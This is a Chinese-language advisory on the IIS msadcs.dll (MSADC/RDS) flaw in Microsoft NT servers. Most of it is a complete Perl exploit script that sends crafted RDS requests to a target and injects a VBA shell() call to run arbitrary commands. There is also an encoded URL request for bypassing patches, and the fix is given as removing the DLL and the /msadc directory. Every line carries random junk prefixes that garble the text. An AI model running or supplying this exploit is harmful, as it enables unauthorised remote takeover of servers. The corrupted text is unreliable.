IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
W6Os|z9&| jY]hMQ/H 涉及程序:
''@upZBJ Microsoft NT server
8a\
Pjk 8:BPXdiK 描述:
n..9F$a 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
[@Db7]nG e[3rz%'Q 详细:
x*)@:W! 如果你没有时间读详细内容的话,就删除:
~(TS>ck@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
;K'1dsA 有关的安全问题就没有了。
bdn{Y y=L9E? 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
H:~41f[ Q~5!c#r 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
y6[^I'kz 关于利用ODBC远程漏洞的描述,请参看:
JsOu
*9R Eua\N<!aai http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 94=aVM\>> Z/z(P8#U\ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
u>G#{$) http://www.microsoft.com/security/bulletins/MS99-025faq.asp FyXz(l: K22' XrN 这里不再论述。
KUC (n! -L9I;]:KY 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
w3^>{2iqq ;tS 4h /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
9s5PJj "u 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
-3M6[`/ '`$US;5 Min^EAG@ #将下面这段保存为txt文件,然后: "perl -x 文件名"
%8?s3^o e3+'m #!perl
/Z:\=0` #
\78w1Rkl # MSADC/RDS 'usage' (aka exploit) script
P'prp=JD #
4= VAJ # by rain.forest.puppy
Pkr0|bs* #
1|za>N6[yu # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
_T\~AwVc< # beta test and find errors!
I2@pkVv3z NqsIMCl use Socket; use Getopt::Std;
Kvu0Av-7 getopts("e:vd:h:XR", \%args);
kf3yJP/ W$x'+t5H print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
H3=U|wr| S`LS/) if (!defined $args{h} && !defined $args{R}) {
@v1f)(N print qq~
|[k/% Usage: msadc.pl -h <host> { -d <delay> -X -v }
A7~~{9 -h <host> = host you want to scan (ip or domain)
E%CJM+r! -d <seconds> = delay between calls, default 1 second
rYnjQr2a -X = dump Index Server path table, if available
c'=p4Fcm -v = verbose
'_z#}P< -e = external dictionary file for step 5
~-+lZ4} %ZF6%m0S Or a -R will resume a command session
*$ZLu jy7 *"N756Cj ~; exit;}
)V!dmVQq{g 83*"58 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
qg;[~JZYKi if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*/B-%*#I. if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
8^3Z]=(Q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Qrt[MJ+# $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
zt 1Pu
/e if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
O87Ptr8 c
k= if (!defined $args{R}){ $ret = &has_msadc;
mQQ5>0^m die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
QdM&M^ pN+lC[C print "Please type the NT commandline you want to run (cmd /c assumed):\n"
/aepE~T . "cmd /c ";
l<7)uO^8 $in=<STDIN>; chomp $in;
tUXq!r<'dT $command="cmd /c " . $in ;
3|/<Pk 'F'v/G~F if (defined $args{R}) {&load; exit;}
';buS -|6 < PoRnx print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
[XA
f=x &try_btcustmr;
K0xZZ` kLKd
O0 print "\nStep 2: Trying to make our own DSN...";
dP(*IOO. &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
K!q:A+] hJ0)"OA5 print "\nStep 3: Trying known DSNs...";
H26'8e &known_dsn;
lY5a=mwHU 66"-Xf~u print "\nStep 4: Trying known .mdbs...";
|V2+4b, &known_mdb;
&lYZ=|6 ~Co7 %e V if (defined $args{e}){
g;U f? print "\nStep 5: Trying dictionary of DSN names...";
L0{ehpvM &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
B]K@'# }e/P|7& print "Sorry Charley...maybe next time?\n";
e2~i@vq exit;
YadY?o./ \2!v~&S ##############################################################################
7Zl-| A*ImruV sub sendraw { # ripped and modded from whisker
.!kqIx*3 sleep($delay); # it's a DoS on the server! At least on mine...
|okS7.|IX my ($pstr)=@_;
,c:Fa)- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0zg\thL die("Socket problems\n");
'|r('CIBN/ if(connect(S,pack "SnA4x8",2,80,$target)){
CqVh9M.ah select(S); $|=1;
T,h,)|:I^ print $pstr; my @in=<S>;
]XEkQ select(STDOUT); close(S);
&Y2mLPB return @in;
GI}h)T } else { die("Can't connect...\n"); }}
zT|]!', .'Vjs2 2 ##############################################################################
bdiyS.a- NJb5HoYZ sub make_header { # make the HTTP request
`jR;RczC my $msadc=<<EOT
N{@kgc POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
p&=F:- User-Agent: ACTIVEDATA
@b=b>V[d6 Host: $ip
8S1%;@c Content-Length: $clen
%gB 0\C Connection: Keep-Alive
Z']D8>d YcS}ug7 ADCClientVersion:01.06
8H_3.MK Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Qc2_B\K^ C%<[mM --!ADM!ROX!YOUR!WORLD!
!*wK4UcX" Content-Type: application/x-varg
iG*3S) Content-Length: $reqlen
%J\1W"I? ^+:_S9qst EOT
9
|Iq&S ; $msadc=~s/\n/\r\n/g;
{ U a19~'> return $msadc;}
MjMPbGUX{ 6N
>ksqo8% ##############################################################################
mqGp]'{ x\j6=| sub make_req { # make the RDS request
|2!/<%Yr` my ($switch, $p1, $p2)=@_;
/U[Y w) my $req=""; my $t1, $t2, $query, $dsn;
.}.5|z} A yKEE @@}\ if ($switch==1){ # this is the btcustmr.mdb query
KYY~ YP $query="Select * from Customers where City=" . make_shell();
v2 [
l$ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
#;'1aT $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
_N~h#( UO}Kk* elsif ($switch==2){ # this is general make table query
*ms?UFV[r $query="create table AZZ (B int, C varchar(10))";
@9|sNS $dsn="$p1";}
i*j[j~2>C; .Ev i elsif ($switch==3){ # this is general exploit table query
hM2^[8 $query="select * from AZZ where C=" . make_shell();
'j];tO6GfC $dsn="$p1";}
uQ#3;sFO !8]W"@qb elsif ($switch==4){ # attempt to hork file info from index server
GYot5iLg $query="select path from scope()";
%&9tn0B
$dsn="Provider=MSIDXS;";}
v4sc D,+I)-k< elsif ($switch==5){ # bad query
: g/H N9 $query="select";
`zAo IQ $dsn="$p1";}
j3F[C:-zY ]*-9zo0 $t1= make_unicode($query);
-\yaP8V $t2= make_unicode($dsn);
[Dp 6q~RM $req = "\x02\x00\x03\x00";
b9HE #*d, $req.= "\x08\x00" . pack ("S1", length($t1));
=rS z>l $req.= "\x00\x00" . $t1 ;
-nG3(n&wB $req.= "\x08\x00" . pack ("S1", length($t2));
O&]Y.Z9,A $req.= "\x00\x00" . $t2 ;
^1U2&S $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
& v=2u,]T return $req;}
|r5|IA Kx 6_Vp ##############################################################################
,%X~/V X\\WQxj sub make_shell { # this makes the shell() statement
)RlaVAtM return "'|shell(\"$command\")|'";}
C\UD0r'p? mfLS</A ##############################################################################
.EGZv(rz& EKf"e*|(L sub make_unicode { # quick little function to convert to unicode
!G3O!] my ($in)=@_; my $out;
72} MspzUt for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
z7F~;IB*u return $out;}
'6u;KIG I'G$: GX ##############################################################################
AEm?g$a ;5-Sn(G sub rdo_success { # checks for RDO return success (this is kludge)
kc `Q-
N} my (@in) = @_; my $base=content_start(@in);
%VsuGA if($in[$base]=~/multipart\/mixed/){
<pRb#G" return 1 if( $in[$base+10]=~/^\x09\x00/ );}
J\XYUs return 0;}
)DuOo83n[" M~;Ww-./ ##############################################################################
gPY2Bnw;l D52ELr7 sub make_dsn { # this makes a DSN for us
swuW6p my @drives=("c","d","e","f");
ro7\}O:I print "\nMaking DSN: ";
oUR'gc : foreach $drive (@drives) {
UO8#8 print "$drive: ";
Z2`(UbG} my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
o
<8L,u(U "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
$zq`hI!1 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
9)s=%dL $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
MsCY5g return 0 if $2 eq "404"; # not found/doesn't exist
IX;u +B if($2 eq "200") {
d_Ll,*J9 foreach $line (@results) {
9f;\fe return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
~:Dr]kt } return 0;}
<oTIzj7f `TKe+oS) ##############################################################################
a/X@5kr{ "#d}S)GlXM sub verify_exists {
I
:%(nKBK my ($page)=@_;
'~%1p_0dq my @results=sendraw("GET $page HTTP/1.0\n\n");
^.Vq0Qzy] return $results[0];}
z+&mMP`- ?n>h/[/ ##############################################################################
i3s-l8\\z FSd842O sub try_btcustmr {
rC}r99Pe:x my @drives=("c","d","e","f");
6~V$0Y>] my @dirs=("winnt","winnt35","winnt351","win","windows");
YY{S0jnhF FkR9-X< foreach $dir (@dirs) {
_!H{\kU print "$dir -> "; # fun status so you can see progress
=yOIP@ foreach $drive (@drives) {
=9 FY;9 print "$drive: "; # ditto
[F%INl-sy $reqlen=length( make_req(1,$drive,$dir) ) - 28;
n
!]_o $reqlenlen=length( "$reqlen" );
dGf{d7 D $clen= 206 + $reqlenlen + $reqlen;
G/\t<>O8o )nJs9}( 0 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
~\<Fq \.x if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
?8fa/e else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
g5lf-}? $fV47;U'* ##############################################################################
]$!-%pNv {LVii}< sub odbc_error {
{ :'#Ts< my (@in)=@_; my $base;
`$SX%AZA my $base = content_start(@in);
#g\O*oYaw if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
pJ"Wg@+ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^tIs57! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E KhwrBjS $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/`>BPQH`} return $in[$base+4].$in[$base+5].$in[$base+6];}
<H`&Zqqk print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
xq-R5(k
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
/=A^@&:_# $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
[>Z~&cm ,*%%BTnR ##############################################################################
~~,\BhG? ir-srVoXy sub verbose {
(S* T{OgO my ($in)=@_;
ie{9zO<d return if !$verbose;
kUUeyq print STDOUT "\n$in\n";}
v4=9T<[ ComVY4, ##############################################################################
rg)>ZHx x6\EU=, sub save {
jQ@z!GirT my ($p1, $p2, $p3, $p4)=@_;
R}>xpU1 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
CEq0ZL-W print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
CWdA8)n. close OUT;}
%WiDz0o iyAeR!` ##############################################################################
9'faH @v\Osp t= sub load {
`WGT`A" my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
x
hBlv open(IN,"<rds.save") || die("Couldn't open rds.save\n");
,<0R'R @p=<IN>; close(IN);
XT>
u/Z ) $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
!E8y!|7$ $target= inet_aton($ip) || die("inet_aton problems");
v\PqhI y" print "Resuming to $ip ...";
A}?n.MAX> $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
x>d,\{U if($p[1]==1) {
zBtlkBPu $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
P!3)-apP\ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
IWERn
v! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
.(^KA{ if (rdo_success(@results)){print "Success!\n";}
b^_#f:_j else { print "failed\n"; verbose(odbc_error(@results));}}
A^nB!veh elsif ($p[1]==3){
SB0Cq if(run_query("$p[3]")){
=7wI/5iN print "Success!\n";} else { print "failed\n"; }}
l8 k@.<nCO elsif ($p[1]==4){
t Sran if(run_query($drvst . "$p[3]")){
9`]Gosz print "Success!\n"; } else { print "failed\n"; }}
~VYZu=p exit;}
cw|3W] *UhYX)J ##############################################################################
uOUgU$%zqH UJMM& sub create_table {
s.`:9nj my ($in)=@_;
t>"UenJt- $reqlen=length( make_req(2,$in,"") ) - 28;
P|HxD0c^u $reqlenlen=length( "$reqlen" );
#N9^C@ $clen= 206 + $reqlenlen + $reqlen;
`dekaRo my @results=sendraw(make_header() . make_req(2,$in,""));
smaPZ^;; j return 1 if rdo_success(@results);
Fv$5Zcf my $temp= odbc_error(@results); verbose($temp);
L"{qF<@V7& return 1 if $temp=~/Table 'AZZ' already exists/;
4v9jGwnz t return 0;}
kk#%x#L[ R?Zv ##############################################################################
0=O(+
yi E7X6Shng sub known_dsn {
AGu#*,K # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
"TEF my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
>>/|Q: "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
s)C5u;3! "banner", "banners", "ads", "ADCDemo", "ADCTest");
[Z9
lxZ| ~A^E_ foreach $dSn (@dsns) {
Yw @)0%G print ".";
`Cq&;-u next if (!is_access("DSN=$dSn"));
9'+Eu)l: if(create_table("DSN=$dSn")){
"g27|e?y print "$dSn successful\n";
zGgPW if(run_query("DSN=$dSn")){
-!i1xR(;h print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
HR'sMu3 print "Something's borked. Use verbose next time\n";}}} print "\n";}
Pt< JF PJ}d-
##############################################################################
8p D$/ `t[b0; 'OH sub is_access {
0x BO5[w,Y my ($in)=@_;
-#@l`kt $reqlen=length( make_req(5,$in,"") ) - 28;
Z
0&=Lw $reqlenlen=length( "$reqlen" );
hK^(Y $clen= 206 + $reqlenlen + $reqlen;
z5.Uv/n\1 my @results=sendraw(make_header() . make_req(5,$in,""));
@A32|p} my $temp= odbc_error(@results);
`|kW%L4 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
1OI/!!t1$ return 0;}
.5$"qb
? J]G]
<) ##############################################################################
I<E~= ;IyA"C(i sub run_query {
IE*eDj my ($in)=@_;
xs#g $reqlen=length( make_req(3,$in,"") ) - 28;
>,%or cN $reqlenlen=length( "$reqlen" );
#<h//< $clen= 206 + $reqlenlen + $reqlen;
+}3l$L'bY my @results=sendraw(make_header() . make_req(3,$in,""));
u7||]|2 return 1 if rdo_success(@results);
PY81MTv0; my $temp= odbc_error(@results); verbose($temp);
(|O9L s7N return 0;}
%M)LC>c rnAQwm-8O% ##############################################################################
RW"QUT vq?Le j sub known_mdb {
4# +i\H` my @drives=("c","d","e","f","g");
WSEw:pln my @dirs=("winnt","winnt35","winnt351","win","windows");
-sjyv/%_ my $dir, $drive, $mdb;
)LC"rSNx% my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/=5:@ ^]rPda# # this is sparse, because I don't know of many
|WP}y-Au my @sysmdbs=( "\\catroot\\icatalog.mdb",
Xz,fjKUnN "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Lf0X(tC "\\system32\\certmdb.mdb",
tuK2D,6 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
jD}G9=[$1 SG$V%z"e my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
m3T=x = "\\cfusion\\cfapps\\forums\\forums_.mdb",
_c!$K#Yl{ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
xP{)+$n "\\cfusion\\cfapps\\security\\realm_.mdb",
t;HM "\\cfusion\\cfapps\\security\\data\\realm.mdb",
LNNwy:_ ! "\\cfusion\\database\\cfexamples.mdb",
XXDLbT'J "\\cfusion\\database\\cfsnippets.mdb",
XrUc` "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
HQkK8'\LP "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
nh
XVc(( "\\cfusion\\brighttiger\\database\\cleam.mdb",
hs^K9Jt "\\cfusion\\database\\smpolicy.mdb",
WUBI(g\ "\\cfusion\\database\cypress.mdb",
:+ZLKm "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
8
$qj&2 N "\\website\\cgi-win\\dbsample.mdb",
xeNj@\jdC5 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
NHaY&\ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
G)8v~=Bv ); #these are just
T
W#s)iDi foreach $drive (@drives) {
A3mvd-k foreach $dir (@dirs){
?3
S{>+' foreach $mdb (@sysmdbs) {
0SjB&J print ".";
9%Eo<+myh if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
q-hR EO print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
\s?8}k if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
jK-b#h.gL print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
C'7DG\pr } else { print "Something's borked. Use verbose next time\n"; }}}}}
r'(*# `92P~Y~`W foreach $drive (@drives) {
c_4K foreach $mdb (@mdbs) {
rnyXMt.q print ".";
;rRV=$y if(create_table($drv . $drive . $dir . $mdb)){
38mC+%iC print "\n" . $drive . $dir . $mdb . " successful\n";
b#nI#!p' if(run_query($drv . $drive . $dir . $mdb)){
lrjVD(R=g print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
:%-w/QwTR } else { print "Something's borked. Use verbose next time\n"; }}}}
~pT1,1 }
9Iu"DOxX% S4U}u l ##############################################################################
[H[L};%=j KAJR.YNm sub hork_idx {
5) q_Aro print "\nAttempting to dump Index Server tables...\n";
r;^%D( print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
=Y- .=}jp; $reqlen=length( make_req(4,"","") ) - 28;
5OCt Q4u $reqlenlen=length( "$reqlen" );
$b~[>S-Q $clen= 206 + $reqlenlen + $reqlen;
XL[Dmu& my @results=sendraw2(make_header() . make_req(4,"",""));
%Q]3`kxp if (rdo_success(@results)){
^H0#2hFa my $max=@results; my $c; my %d;
e9R H[: for($c=19; $c<$max; $c++){
'NMO>[. $results[$c]=~s/\x00//g;
O9P+S|hcY $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
@<.ei)cqb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
L}
"bp $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
u69UUkG $d{"$1$2"}="";}
{/j gB"9 foreach $c (keys %d){ print "$c\n"; }
ff;~k?L } else {print "Index server doesn't seem to be installed.\n"; }}
P;`Awp?
jF-:e;- ##############################################################################
9}wI@ 43 vF(<r&f sub dsn_dict {
k Nvb>v open(IN, "<$args{e}") || die("Can't open external dictionary\n");
bcq&yL'D while(<IN>){
7YxVtN $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
8_VGB0~3i next if (!is_access("DSN=$dSn"));
'&+]85_&$ if(create_table("DSN=$dSn")){
d#OAM;0}5 print "$dSn successful\n";
d_,Ql708f if(run_query("DSN=$dSn")){
w4fQ~rcUIc print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
"} "/d( print "Something's borked. Use verbose next time\n";}}}
qSGM6kb print "\n"; close(IN);}
! 1Hs;K ?fN6_x2e3 ##############################################################################
DaQ+XUH? jGi{:} `lB sub sendraw2 { # ripped and modded from whisker
0l3[?YtXc sleep($delay); # it's a DoS on the server! At least on mine...
$4mCtonP= my ($pstr)=@_;
Xj{gyLs socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1eywnOjrj die("Socket problems\n");
]>Ym if(connect(S,pack "SnA4x8",2,80,$target)){
q_6fr$-Qh print "Connected. Getting data";
H$ %F0'0 open(OUT,">raw.out"); my @in;
&09&;KJ select(S); $|=1; print $pstr;
?nPG#Z|% while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
h
w^
V close(OUT); select(STDOUT); close(S); return @in;
r .'xqzF/ } else { die("Can't connect...\n"); }}
h\p!J-V E~#G_opQA ##############################################################################
dl"=ZI
'^ 0hhxTOp
sub content_start { # this will take in the server headers
Rc:}%a%e my (@in)=@_; my $c;
>|z:CX$] for ($c=1;$c<500;$c++) {
tz8fZ*n if($in[$c] =~/^\x0d\x0a/){
:tbgX;tCs5 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
u]Q}jqiq" else { return $c+1; }}}
+;\w'dBi, return -1;} # it should never get here actually
}K={HW1> 'pT13RFD ##############################################################################
? )h8uf4 Yn[>Y) sub funky {
(uDAdE5 my (@in)=@_; my $error=odbc_error(@in);
|gWA'O0S if($error=~/ADO could not find the specified provider/){
-b
iE print "\nServer returned an ADO miscofiguration message\nAborting.\n";
O_qwD6s-_ exit;}
t
V(
WhP if($error=~/A Handler is required/){
I eJI-lo print "\nServer has custom handler filters (they most likely are patched)\n";
Vz$xV! exit;}
,p3]`MG if($error=~/specified Handler has denied Access/){
X4]miUmh print "\nServer has custom handler filters (they most likely are patched)\n";
eAo+w*D( exit;}}
m 94PFD@N Q=8YAiCu ##############################################################################
bf@g*~h@ 78{9@\e"0 sub has_msadc {
'YB[4Q /0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
PJ;WNo8 my $base=content_start(@results);
5+11J[~{ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Lu{/"&) return 0;}
G^tazAEfo :'B(DzUR ########################
SzIzQR93& :Fm*WqZu _}Qtx/Cg 解决方案:
QRvyaV 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
`kuu}YUi 2、移除web 目录: /msadc